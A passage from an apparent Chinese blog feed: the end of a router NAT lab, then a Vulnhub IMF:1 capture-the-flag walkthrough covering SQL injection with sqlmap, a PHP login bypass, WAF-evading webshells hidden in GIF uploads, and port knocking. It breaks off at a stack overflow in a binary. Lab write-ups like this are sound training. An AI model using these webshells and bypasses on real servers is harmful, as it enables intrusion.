</div></div><div><div><div>9</div></div><div><span>--- Ping statistics for 100.1.1.1 ---</span></div></div><div><div><div>10</div></div><div><span>5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss</span></div></div><div><div><div>11</div></div><div><span>round-trip min/avg/max/std-dev = 5.000/5.600/7.000/0.800 ms</span></div></div><div><div><div>12</div></div><div><span>%Sep  3 09:32:47:415 2026 PCB PING/6/PING_STATISTICS: Ping statistics for 100.1.1.1: 5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss, round-trip min/avg/max/std-dev = 5.000/5.600/7.000/0.800 ms.</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h4>6.私网 A 配置 NAT SERVER 把 FTPA 的 FTP 服务发布到公网，使 PCB 可以访问<a href="#6私网-a-配置-nat-server-把-ftpa-的-ftp-服务发布到公网使-pcb-可以访问"><span>#</span></a></h4><p>分析：根据需求得知，需要发布 FTPA 的 FTP 服务，也就是把 R1 的公网地址的 20 和 21 端口映射到 FTPA 的私网地址</p><section><h5>步骤 1：配置 FTP 服务<a href="#步骤-1配置-ftp-服务"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ftp server enable</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 2：在 R1 的公网接口上配置 NAT SERVER，映射端口 20 和 21<a href="#步骤-2在-r1-的公网接口上配置-nat-server映射端口-20-和-21"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int g0/1</span></div></div><div><div><div>2</div></div><div><span>nat server protocol tcp global 100.1.1.1 20 21 inside 192.168.1.10 20 21</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h5>步骤 3：在 PCB 上测试是否能够通过 R1 的公网地址访问 FTPA 的 FTP 服务<a href="#步骤-3在-pcb-上测试是否能够通过-r1-的公网地址访问-ftpa-的-ftp-服务"><span>#</span></a></h5><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;PCB&gt;ftp 100.1.1.1</span></div></div><div><div><div>2</div></div><div><span>Press CTRL+C to abort.</span></div></div><div><div><div>3</div></div><div><span>ftp: connect: Connection refused</span></div></div><div><div><div>4</div></div><div><span>ftp&gt;</span></div></div><div><div><div>5</div></div><div><span>ftp&gt; quit</span></div></div><div><div><div>6</div></div><div><span>&lt;PCB&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section></section></section>]]></content>
    </entry>
    <entry>
      <id>https://firefly-569.pages.dev/posts/vulnhub/202692-imf/</id>
      <title type="text">IMF</title>
      <published>2026-09-02T00:00:00.000Z</published>
      <updated>2026-09-02T00:00:00.000Z</updated>
      <author><name>Ynm</name></author>
      <link rel="alternate" href="https://firefly-569.pages.dev/posts/vulnhub/202692-imf/"/>
      <summary type="text">对 Vulnhub 靶机 IMF:1 的完整渗透测试记录，涵盖从信息收集到获取 root 权限的完整过程。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th><strong>项目</strong></th><th><strong>详情</strong></th></tr></thead><tbody><tr><td><strong>靶机名称</strong></td><td>IMF: 1</td></tr><tr><td><strong>难度等级</strong></td><td>Medium（中等）</td></tr><tr><td><strong>目标</strong></td><td>获取 root 权限并找到六个 flag</td></tr><tr><td><strong>下载链接</strong></td><td><a href="https://www.vulnhub.com/entry/imf-1,162/" target="_blank">https://www.vulnhub.com/entry/imf-1,162/</a></td></tr><tr><td><strong>攻击机 (Kali)</strong></td><td><code>192.168.197.10</code>（建议使用 NAT 模式）</td></tr><tr><td><strong>靶机</strong></td><td><code>192.168.197.176</code>（DHCP 自动分配）</td></tr></tbody></table>
<section><h2>一、 信息收集 (Reconnaissance)<a href="#一-信息收集-reconnaissance"><span>#</span></a></h2><p><em>信息收集是渗透测试的基石，决定了后续攻击面的广度。</em></p><section><h3>1.1 主机发现<a href="#11-主机发现"><span>#</span></a></h3><p>使用 <code>nmap</code> 在本地网络中定位靶机 IP。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>nmap -sn 192.168.197.0/24</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1541" height="912" src="/_astro/Pasted%20image%2020260831130437.BWZN4LFa_ZKsTh9.webp" />
结果输出：发现目标 IP 为：<code>192.168.197.176</code></p></section><section><h3>1.2 端口与服务扫描<a href="#12-端口与服务扫描"><span>#</span></a></h3><p>使用 Nmap 对靶机进行全面的端口和服务扫描。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 快速全端口扫描</span></div></div><div><div><div>2</div></div><div><span>nmap -p- --min-rate 1000 -T4 192.168.197.176</span></div></div><div><div><div>3</div></div><div><span># 深入服务探测</span></div></div><div><div><div>4</div></div><div><span>nmap -sC -sV -O 192.168.197.176</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020260831131427.CLMzNeBr_1caHqq.webp" />
<strong>扫描结果分析</strong>：</p>

<table><thead><tr><th>端口</th><th>服务</th><th>状态</th><th>初步判断</th></tr></thead><tbody><tr><td>80</td><td>Apache 2.4.18</td><td>开放</td><td>主要攻击面，Web 应用</td></tr></tbody></table><blockquote><p><strong>注意</strong>：后续在提权阶段会发现 7788 端口，但初始扫描时因防火墙设置未能发现。</p></blockquote></section></section>
<section><h2>二、 漏洞利用 (Exploitation)<a href="#二-漏洞利用-exploitation"><span>#</span></a></h2><p><em>根据信息收集结果，选择最有可能的突破口进行深入利用。</em></p><section><h3>2.1 Web 渗透<a href="#21-web-渗透"><span>#</span></a></h3><section><h4>2.1.1 获取 Flag1<a href="#211-获取-flag1"><span>#</span></a></h4><p>既然靶机开放了80端口，即HTTP服务，那就访问一下吧。</p><p>访问网站 <code>http://192.168.197.176</code>，在 <code>contact us</code> 页面查看网页源代码，发现第一个 Flag。
<img alt="" loading="lazy" width="1541" height="917" src="/_astro/Pasted%20image%2020260831131854.BKOm1YGi_Z1ddurU.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!-- flag1{YWxsdGhlZmlsZXM=} --&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>将 Flag1 的内容进行 Base64 解码：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>echo "YWxsdGhlZmlsZXM=" | base64 -d</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260831135046.Bdgba2Ks_Z6mL4p.webp" />
结果：allthefiles，因此<code>flag1{allthefiles}</code>。</p></section><section><h4>2.1.2 获取 Flag2<a href="#212-获取-flag2"><span>#</span></a></h4><p>在首页源代码中发现三个奇怪的 JS 文件名。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>eVlYUnZjZz09fQ==</span></div></div><div><div><div>2</div></div><div><span>XUnRhVzVwYzNS</span></div></div><div><div><div>3</div></div><div><span>ZmxhZzJ7YVcxbVl</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260901092230.D1XIiTwD_1mbEly.webp" /></p><p><strong>关键（这些前缀在CTF中几乎是“条件反射”级别的特征）：</strong></p><ol>
<li>flag 的开头 fla 编码后就是 Zmxh</li>
<li>如果编码完整的 flag，结果是 ZmxhZw==</li>
<li>同理，flag{ 编码后固定是 ZmxhZ3s=</li>
<li>root 编码后是 cm9vdA==</li>
</ol><p>因此可以将其<strong>按顺序</strong>拼接后进行 Base64 解码（Zmxh开头的部分放在前面，以==结尾的部分放在后面，剩下的部分放在中间）。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>得到：flag2{aW1mYWRtaW5pc3RyYXRvcg==}</p><p>再次解码 Flag2 的内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260831135542.DEbLhT6A_Z7xxnj.webp" />
结果：imfadministrator，因此<code>flag2{imfadministrator}</code>。</p></section><section><h4>2.1.3 获取后台路径与 Flag3<a href="#213-获取后台路径与-flag3"><span>#</span></a></h4><blockquote><p><strong>注意：</strong> 记住上面的信息收集每一条都是有用的，上面解出来的东西都是比较规律的，有可能是目录之类的。</p></blockquote><p>因此访问路径 <code>/imfadministrator</code>，进入后台登录页面（如果访问allthefiles路径，则发现没有该资源）。查看网页源码，发现提示：“我无法使用 SQL，所以我硬编码了密码。它仍然非常安全”，因此没有SQL注入。
<img alt="" loading="lazy" width="1541" height="914" src="/_astro/Pasted%20image%2020260901094227.MCSSJfwS_1UuKam.webp" />
<strong>步骤 1：枚举用户名</strong></p><p>输入不存在的用户名，页面回显无效的用户名（Invalid username）。因此尝试输入存在的用户名，在 <code>contact.php</code> 页面中有三个用户名：<code>rmichaels</code>、<code>akeith</code>、<code>estone</code>。
<img alt="" loading="lazy" width="1542" height="917" src="/_astro/Pasted%20image%2020260901094552.D6sK_NuB_1Mlzqr.webp" />
逐一测试后确认有效用户名为<code>rmichaels</code>，因为回显变为无效的密码（Invalid password），而不是回显无效的用户名。
<img alt="" loading="lazy" width="1542" height="911" src="/_astro/Pasted%20image%2020260901094756.DDIbK0eS_Z2ddNx.webp" />
<strong>步骤 2：PHP 数组绕过登录</strong></p><blockquote><p>注意：这里当然可以暴力破解，因为已经知道了用户名，但是这里有更好的办法，因为根据网页源代码的提示，这个密码的验证是写死在php代码中的，因此可以使用PHP数组绕过登录。</p></blockquote><p><strong>原理：</strong> php验证代码可能如下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>$password = $_POST['password']; // 用户输入</span></div></div><div><div><div>2</div></div><div><span>if (strcmp($password, $admin_password) == 0) {</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>// 登录成功！</span></div></div><div><div><div>4</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>php代码可能是用strcmp之类的函数去判断密码。当strcmp的两个字符串参数相等的时候返回结果为0，string类型和array类型相比较，它会出错，但返回的不是“报错并停止”，而是 <strong><code>NULL</code></strong>。又因为在PHP的弱类型比较中，<code>NULL == 0</code> 的结果是 <strong><code>true</code>（真）</strong>，因此成功绕过。</p><p>修改网页源代码，将密码参数 <code>pass</code> 改为数组形式（当然这里也可以使用抓包，然后修改数据包）。
<img alt="" loading="lazy" width="1541" height="911" src="/_astro/Pasted%20image%2020260901100058.Cs-WB-LO_26j08c.webp" />
成功登录后获得 Flag3：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>flag3{Y29udGludWVUT2Ntcw==}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="912" src="/_astro/Pasted%20image%2020260901100723.CReMCKe9_ZeCR71.webp" />
Base64 解码得到：<code>continueTOcms</code>，因此<code>flag3{continueTOcms}</code>。</p></section></section><section><h3>2.2 SQL 注入与 Flag4<a href="#22-sql-注入与-flag4"><span>#</span></a></h3><p>成功登录后，访问 CMS 页面（因为flag3的提示）：<code>http://192.168.197.176/imfadministrator/cms.php?pagename=home</code>。URL有GET传参，因此存在SQL注入，在 URL 参数 <code>pagename</code> 后加单引号测试，发现 MySQL 报错回显，确认存在 SQL 注入漏洞。
<img alt="" loading="lazy" width="1542" height="917" src="/_astro/Pasted%20image%2020260901101659.BGvr1ocR_5Sp3c.webp" /></p><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260901103339.DU5FpBvr_f0ale.webp" /></p><p><img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260901103435.uHW2GtOT_Z1PNrO7.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sqlmap -r req.txt --batch --dbs</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="913" src="/_astro/Pasted%20image%2020260901104541.Bos9yVUV_ZhbsFC.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sqlmap -r req.txt --batch -D admin --tables</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="912" src="/_astro/Pasted%20image%2020260901104703.Jru9Ax7-_cCElM.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sqlmap -r req.txt --batch -D admin -T pages --dump</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1080" src="/_astro/Pasted%20image%2020260901104905.Dea3bKqK_Z10uJm6.webp" />
爆破数据库 <code>admin</code> 中的 <code>pages</code> 表，获取到一条图片路径记录。访问该路径，发现一张二维码图片。
<img alt="" loading="lazy" width="1542" height="911" src="/_astro/Pasted%20image%2020260901105047.Bau9PsQ6_Z1lSWUj.webp" />
扫描二维码得到 Flag4：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>flag4{dXBsb2Fkcjk0Mi5waHA=}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>解码后得到<code>flag4{uploadr942.php}</code>，同时获得文件上传路径：uploadr942.php。</p></section><section><h3>2.3 文件上传与 WebShell（Flag5）<a href="#23-文件上传与-webshellflag5"><span>#</span></a></h3><p>访问 <code>http://192.168.197.176/imfadministrator/uploadr942.php</code>，发现是一个文件上传界面。使用PHP一句话进行上传，通过不断测试，发现存在WAF和文件头检测，尝试修改Content-Type：image/jpeg，文件头加上GIF89a也是无效。
<img alt="" loading="lazy" width="1542" height="912" src="/_astro/Pasted%20image%2020260901112920.BFiQBrl7_Z27DUdC.webp" />
所以采用另外一个方法，制作一个图片马。</p><p>由于WAF过滤比较严，直接写<code>&lt;?php @eval($_POST['ant']); ?&gt;</code>会被拦截，因此使用assert函数，同时使用“.”连接两部分，具体webshell内容如下。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;?php $a="ass"."ert";$a($_POST["ant"]); ?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后使用一个git图片做图片马。</p><blockquote><p>注意：根据事后分析，这里只能用git图片，不能用其他类型的图片，因为.htaccess文件里只允许git图片以php的形式运行。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260901124349.CJUBci92_1T2FEI.webp" /></p></blockquote><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>copy /b 普通图片.gif + webshell.php webshell.gif</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1483" height="762" src="/_astro/Pasted%20image%2020260901123924.C65-H3ku_2lJH70.webp" />
上传后查看网页源代码，获取服务器重命名的文件名。
<img alt="" loading="lazy" width="1542" height="908" src="/_astro/Pasted%20image%2020260901123837.BGrgtv9e_mDfwH.webp" />
此时如果我们直接访问，发现没有，推测应该是图片被保存在某个文件夹下面了，可以猜测是在imfadministrator目录下，我们可以进行目录扫描。
<img alt="" loading="lazy" width="1542" height="915" src="/_astro/Pasted%20image%2020260901125618.Cze6DGkW_Z1mwCEY.webp" />
使用dirsearch扫描，命令如下：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>dirsearch -u http://192.168.197.176/imfadministrator/ -e php,html,txt -w /usr/share/wordlists/dirb/common.txt -t 50</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>-u：指定目标 URL</span></div></div><div><div><div>4</div></div><div><span>-e：添加常见的扩展名（如 PHP、HTML、TXT），以便发现带有这些后缀的目录或文件</span></div></div><div><div><div>5</div></div><div><span>-w：指定字典文件（这里使用 Kali 自带的 common.txt，比较全面）</span></div></div><div><div><div>6</div></div><div><span>-t：设置线程数（50 线程速度较快，可根据网络情况调整）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="914" src="/_astro/Pasted%20image%2020260901130227.Db8FP_DT_Z1JDHQr.webp" />
访问该url，发现可以访问，说明上传成功。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.176/imfadministrator/uploads/4994055bd05d.gif</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1541" height="908" src="/_astro/Pasted%20image%2020260901130409.BtlH2aOX_Z1fnQDg.webp" />
使用蚁剑连接WebShell，记得要切换成base64编码器，否则无法连接，因为会被WAF过滤：
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260901123808.B26_FLkW_ZdPsJX.webp" />
连接成功之后，查看文件获取flag。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260901125324.D1TRLxXj_1S26Dr.webp" /></p><p>将 Flag5 进行 Base64 解码，解码结果：agentservices，因此<code>flag5{agentservices}</code>。</p><p><strong>补充：</strong> 也可以使用下面的webshell，同样制作图片马并上传（这个shell只能执行系统命令，因为是用echo，所以也叫命令马）。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span> </span></span><span>&lt;?php $s=$_GET['topsec']; echo `$s`; ?&gt;</span></div></div><div><div><div>2</div></div><div><span><span> </span></span><span>//此时需要注意最前面加一个空格，要不然生成图片马的时候会覆盖掉导致乱码</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后用命令马快速写一个“完美蚁剑马”。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://192.168.197.176/imfadministrator/uploads/重命名.gif?topsec=echo '&lt;?php $a="ass"."ert";$a($_POST["ant"]); ?&gt;' &gt; /var/www/html/imfadministrator/uploads/shell.php</span></div></div><div><div><div>2</div></div><div><span># 注意：在Ubuntu系统中，Apache的默认网站根目录是/var/www/html/</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>之后连接该shell.php，记得编码器要切换到base64。</p></section></section>
<section><h2>三、 权限提升 (Privilege Escalation)<a href="#三-权限提升-privilege-escalation"><span>#</span></a></h2><p><em>现在的目标是从普通用户提权至 <code>root</code>，因为最后一个flag在root下面，但是直接用蚁剑查看<strong>权限不够</strong>。</em>
<img alt="" loading="lazy" width="1284" height="866" src="/_astro/Pasted%20image%2020260902114828.BayKLX1p_Z25DjaT.webp" /></p><section><h3>3.1 发现 Agent 服务<a href="#31-发现-agent-服务"><span>#</span></a></h3><p>根据 Flag5 的提示 <code>agentservices</code>，在靶机中搜索相关文件：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 使用相关命令搜索agent在哪里</span></div></div><div><div><div>2</div></div><div><span>find / -iname agent 2&gt;/dev/null</span></div></div><div><div><div>3</div></div><div><span>whereis agent</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>发现文件：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/usr/local/bin/agent</span></div></div><div><div><div>2</div></div><div><span>/etc/xinetd.d/agent</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902115707.BbJ9Nvha_Z1aG5c3.webp" /></p><p>查看/etc/xinetd.d/agent内容：
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902115936.QXMLds7L_Z5d5EC.webp" /></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># default: on</span></div></div><div><div><div>2</div></div><div><span># description: The agent server serves agent sessions</span></div></div><div><div><div>3</div></div><div><span># unencrypted agentid for authentication.</span></div></div><div><div><div>4</div></div><div><span>service agent</span></div></div><div><div><div>5</div></div><div><span>{</span></div></div><div><div><div>6</div></div><div><span><span>       </span></span><span>flags          = REUSE</span></div></div><div><div><div>7</div></div><div><span><span>       </span></span><span>socket_type    = stream</span></div></div><div><div><div>8</div></div><div><span><span>       </span></span><span>wait           = no</span></div></div><div><div><div>9</div></div><div><span><span>       </span></span><span>user           = root</span></div></div><div><div><div>10</div></div><div><span><span>       </span></span><span>server         = /usr/local/bin/agent</span></div></div><div><div><div>11</div></div><div><span><span>       </span></span><span>log_on_failure += USERID</span></div></div><div><div><div>12</div></div><div><span><span>       </span></span><span>disable        = no</span></div></div><div><div><div>13</div></div><div><span><span>       </span></span><span>port           = 7788</span></div></div><div><div><div>14</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>该服务以 <strong>root 权限</strong>运行在 <strong>7788 端口</strong>，且服务程序为/usr/local/bin/agent，恰好和刚才使用命令找到的位置相对应。</p><p>查看当前端口状态，确认 7788 端口已开放：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>netstat -atnup</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902115235.D-gvqwrT_1xTG7X.webp" /></p><blockquote><p>注意这里有个细节，前面使用nmap扫描的时候并没有看到7788端口，因此推测这个端口是被隐藏了。根据后面的操作可知，这里需要使用端口敲门，将7788端口敲开。</p></blockquote><p>然后进入目录/usr/local/bin，发现有两个文件，看一下access_codes，发现有个SYN 7482,8279,9467
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902154542.BWZCA8QC_ZtHe0M.webp" />
看起来像是运行了knock进程，需要敲开。</p><blockquote><p><strong>补充：</strong> 什么是端口敲门（Port Knocking）：</p><p>端口敲门是一种网络安全技术，可以形象地理解为“<strong>网络版的芝麻开门</strong>”。它的核心思想是服务器的服务端口（如SSH的22端口）默认不对外开放,只有客户端按<strong>预先约定的顺序</strong>，向服务器的一系列<strong>特定端口</strong>发送连接请求（即“敲门”）后，服务器才会临时为这个客户端打开真正的服务端口。</p></blockquote><p>使用knock工具敲开7788端口：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>knock 192.168.197.176 7482 8279 9467</span></div></div><div><div><div>2</div></div><div><span>nmap -p 7788 192.168.197.176</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><img alt="" loading="lazy" width="1542" height="915" src="/_astro/Pasted%20image%2020260902145439.BSW-tDMC_ZikqKt.webp" />
由上图可知，再次使用nmap扫描时，发现7788端口已经开放了。</p></section><section><h3>3.2 缓冲区溢出漏洞利用<a href="#32-缓冲区溢出漏洞利用"><span>#</span></a></h3><section><h4>3.2.1 下载并执行 Agent 程序<a href="#321-下载并执行-agent-程序"><span>#</span></a></h4><p>接着查看 <code>/usr/local/bin/agent</code> ，发现是可执行的二进制文件。
<img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902122326.Wlb8x_nF_1uKeo7.webp" />
因此将 <code>/usr/local/bin/agent</code> 文件下载到攻击机进行分析（可以直接使用蚁剑下载然后拖到kali，也可以使用下面的命令）。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 在靶机上执行</span></div></div><div><div><div>2</div></div><div><span>nc -lvp 4444 &lt; /usr/local/bin/agent</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 在攻击机上执行(Kali IP: 192.168.197.10)</span></div></div><div><div><div>5</div></div><div><span>nc 192.168.197.176 4444 &gt; agent</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后运行agent程序，发现要输入<code>Agent ID</code>。
<img alt="" loading="lazy" width="1542" height="912" src="/_astro/Pasted%20image%2020260902130202.BDeFCXlQ_Z1eFvvt.webp" /></p></section><section><h4>3.2.2 构造 Exploit<a href="#322-构造-exploit"><span>#</span></a></h4><p>为了获取<code>Agent ID</code>，同时为了分析agent程序的功能 <strong>（检查是否有栈溢出)</strong> ，将 <code>agent</code> 文件拖入 IDA 进行逆向分析。查看main函数，发现了<code>Agent ID</code>。</p><blockquote><p>说明：从图中可以发现在fget函数需要输入随机的数字回车，每一次的输入都会出现strncmp(“输入的数字\n”, “48093572”, 8)这行代码，大概意思就是我们输入的数字和48093572进行对比，不正确返回到<code>Invalid Agent ID</code>。</p></blockquote><p><img alt="" loading="lazy" width="1920" height="1020" src="/_astro/Pasted%20image%2020260902130356.CEGbQwNe_ZhJELB.webp" /></p><p>main函数的完整反编译代码如下：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int</span><span> __cdecl </span><span>main</span><span>(</span><span>int</span><span><span> </span><span>argc</span><span>,</span><span> </span></span><span>const</span><span> </span><span>char</span><span> </span><span>**</span><span><span>argv</span><span>,</span><span> </span></span><span>const</span><span> </span><span>char</span><span> </span><span>**</span><span><span>envp</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>char</span><span> </span><span>*</span><span>s2;</span><span> // [esp+8h] [ebp-20h] BYREF</span></div></div><div><div><div>4</div></div><div><span>  </span><span>char</span><span> </span><span>s</span><span>[</span><span>10</span><span>];</span><span> // [esp+Eh] [ebp-1Ah] BYREF</span></div></div><div><div><div>5</div></div><div><span>  </span><span>int</span><span> v6;</span><span> // [esp+18h] [ebp-10h]</span></div></div><div><div><div>6</div></div><div><span>  </span><span>char</span><span> v7;</span><span> // [esp+1Fh] [ebp-9h]</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>  </span><span>setbuf</span><span>(stdout, </span><span>0</span><span>);</span></div></div><div><div><div>9</div></div><div><span>  </span><span>asprintf</span><span>(</span><span>&amp;</span><span>s2, </span><span>"</span><span>%i</span><span>"</span><span>, </span><span>48093572</span><span>);</span></div></div><div><div><div>10</div></div><div><span>  </span><span>puts</span><span>(</span><span>"  ___ __  __ ___ "</span><span>);</span></div></div><div><div><div>11</div></div><div><span>  </span><span>puts</span><span>(</span><span>" |_ _|  </span><span>\\</span><span>/  | __|  Agent"</span><span>);</span></div></div><div><div><div>12</div></div><div><span>  </span><span>puts</span><span>(</span><span>"  | || |</span><span>\\</span><span>/| | _|   Reporting"</span><span>);</span></div></div><div><div><div>13</div></div><div><span>  </span><span>puts</span><span>(</span><span>" |___|_|  |_|_|    System</span><span>\n</span><span>"</span><span>);</span></div></div><div><div><div>14</div></div><div><span>  </span><span>printf</span><span>(</span><span>"</span><span>\n</span><span>Agent ID : "</span><span>);</span></div></div><div><div><div>15</div></div><div><span>  </span><span>if</span><span> ( </span><span>!</span><span>fgets</span><span>(s, </span><span>9</span><span>, stdin) )</span></div></div><div><div><div>16</div></div><div><span>    </span><span>return</span><span> </span><span>-</span><span>1</span><span>;</span></div></div><div><div><div>17</div></div><div><span>  </span><span>if</span><span> ( </span><span>!</span><span>strncmp</span><span>(s, s2, </span><span><span>8</span><span>u</span></span><span>) )</span></div></div><div><div><div>18</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>19</div></div><div><span>    </span><span>do</span></div></div><div><div><div>20</div></div><div><span><span>      </span></span><span>v7 </span><span>=</span><span> </span><span>getchar</span><span>();</span></div></div><div><div><div>21</div></div><div><span>    </span><span>while</span><span> ( v7 </span><span>!=</span><span> </span><span>10</span><span> </span><span>&amp;&amp;</span><span> v7 </span><span>!=</span><span> </span><span>-</span><span>1</span><span> );</span></div></div><div><div><div>22</div></div><div><span>    </span><span>puts</span><span>(</span><span>"Login Validated "</span><span>);</span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>v6 </span><span>=</span><span> </span><span>menu</span><span>();</span></div></div><div><div><div>24</div></div><div><span>    </span><span>switch</span><span> ( v6 )</span></div></div><div><div><div>25</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>26</div></div><div><span>      </span><span>case</span><span> </span><span>1</span><span>:</span></div></div><div><div><div>27</div></div><div><span>        </span><span>extractionpoints</span><span>();</span></div></div><div><div><div>28</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>29</div></div><div><span>      </span><span>case</span><span> </span><span>2</span><span>:</span></div></div><div><div><div>30</div></div><div><span>        </span><span>requestextraction</span><span>();</span></div></div><div><div><div>31</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>32</div></div><div><span>      </span><span>case</span><span> </span><span>3</span><span>:</span></div></div><div><div><div>33</div></div><div><span>        </span><span>report</span><span>();</span></div></div><div><div><div>34</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>35</div></div><div><span>      </span><span>default</span><span>:</span></div></div><div><div><div>36</div></div><div><span>        </span><span>puts</span><span>(</span><span>"Exiting..."</span><span>);</span></div></div><div><div><div>37</div></div><div><span>        </span><span>break</span><span>;</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>39</div></div><div><span>    </span><span>return</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>40</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>41</div></div><div><span>  </span><span>else</span></div></div><div><div><div>42</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>43</div></div><div><span>    </span><span>puts</span><span>(</span><span>"Invalid Agent ID "</span><span>);</span></div></div><div><div><div>44</div></div><div><span>    </span><span>return</span><span> </span><span>-</span><span>2</span><span>;</span></div></div><div><div><div>45</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>46</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>经检查，extractionpoints()、requestextraction()这两个函数都没有问题，只有report()函数存在栈溢出。
